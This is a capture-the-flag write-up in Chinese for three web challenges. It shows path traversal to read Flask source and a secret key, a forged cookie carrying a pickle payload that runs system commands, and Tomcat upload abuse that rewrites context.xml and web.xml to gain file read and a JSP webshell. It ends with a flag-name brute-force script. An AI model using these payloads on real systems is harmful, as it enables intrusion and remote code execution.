QwQ,一共5道Web题,做出3道。
首先可以用 /lyrics?lyrics=文件名
来读取文件。通过 Wappalyzer 发现是一个 flask 项目,因此用 /lyrics?lyrics=../app.py
读到了源码:
# 读取文件
@app.route("/lyrics", methods=['GET'])
def lyrics():
resp = make_response()
resp.headers["Content-Type"] = 'text/plain; charset=UTF-8'
query = request.args.get("lyrics")
path = os.path.join(os.getcwd() + "/lyrics", query)
try:
with open(path) as f:
res = f.read()
except Exception as e:
return "No lyrics found"
return res
@app.route("/board", methods=['GET'])
def board():
invalid = cookie_check("user", secret=secret_code)
if invalid:
return "Nope, invalid code get out!"
data = get_cookie("user", secret=secret_code)
if isinstance(data, bytes):
# 这里可以做手脚
a = pickle.loads(data)
data = str(data, encoding="utf-8")
if "username" not in data:
return render_template('user.html', name="guest")
if data["username"] == "admin":
return render_template('admin.html', name=data["username"])
if data["username"] != "admin":
return render_template('user.html', name=data["username"])
发现可以 pickle 反序列化。进一步查看 cookie.py 和 config/secret_key.py 的源码,然后就可以伪造 Cookie 了。
secret_code = "EnjoyThePlayTime123456"
因为禁用了 R 指令,所以采用 o 指令来读:
(cos
system
S'whoami'
o.
又因为没有回显,但是可以把命令结果输出到文件中然后再用 lyrics 读取就行了。发现 /flag 没有读取权限,但是有一个 /readflag 可以执行,所以执行 /readflag 就能得到 flag 了。
cookie_encode(('user',b"(cos\nsystem\nS'/readflag>/tmp/1.txt'\no."), "EnjoyThePlayTime123456")
b'!3xKWCDVdw4ZYwfpwM1ghoQ==?gAWVMwAAAAAAAACMBHVzZXKUQyYoY29zCnN5c3RlbQpTJy9yZWFkZmxhZz4vdG1wLzEudHh0JwpvLpSGlC4='
把Cookie改成!3xKWCDVdw4ZYwfpwM1ghoQ==?gAWVMwAAAAAAAACMBHVzZXKUQyYoY29zCnN5c3RlbQpTJy9yZWFkZmxhZz4vdG1wLzEudHh0JwpvLpSGlC4=
之后访问/board,然后再访问lyrics?lyrics=/tmp/1.txt读取到flag:
读取 /opt/tomcat/conf/tomcat-users.xml,得到用户名密码:admin This_is_my_favorite_passwd。然后发现是一个文件上传,试了下发现可以上传xml文件。
改文件名为 ../b.xml
发现不行。看到接口是 ?path=uploads
,于是改目录名就可以上传到其他目录。问了下 GPT,可以通过修改 context.xml
来得到任意文件读取:
<Context>
<Resources>
<PreResources className="org.apache.catalina.webresources.DirResourceSet"
base="/"
webAppMount="/test"
internalPath="/"/>
</Resources>
</Context>
这样就可以用 /test+文件名读取任意文件,但是访问 /test/flag 没看到 flag。于是考虑其他办法。
接着,修改网站的 web.xml,使得 xml 当作 jsp 来解析,就可以上传马了。
在 web.xml 最后加上:
<servlet>
<servlet-name>JSPFileServlet</servlet-name>
<servlet-class>org.apache.jasper.servlet.JspServlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>JSPFileServlet</servlet-name>
<url-pattern>*.xml</url-pattern>
</servlet-mapping>
然后用哥斯拉生成了jsp连接,成功RCE,flag文件是 /ffffffllllllaaagggg
。
和上面几乎一样,不过 web.xml 被禁了,context.xml 仍然可以修改。
既然我们拿到了任意文件读,根据上面的经验,flag文件是由几个f+几个l+几个a+几个g组成的,跑暴力就行了:
import requests
for i in range(1, 6):
for j in range(1, 6):
for k in range(1, 6):
for l in range(1, 6):
url = "http://139.155.126.78:34733/test/" + "f" * i + "l" * j + "a" * k + "g" * l
r = requests.get(url)
if "DASCTF" in r.text:
print(r.text)
exit()
最后也是很顺利拿到了 flag:
> python brute.py
DASCTF{33196881300746916895947590953212}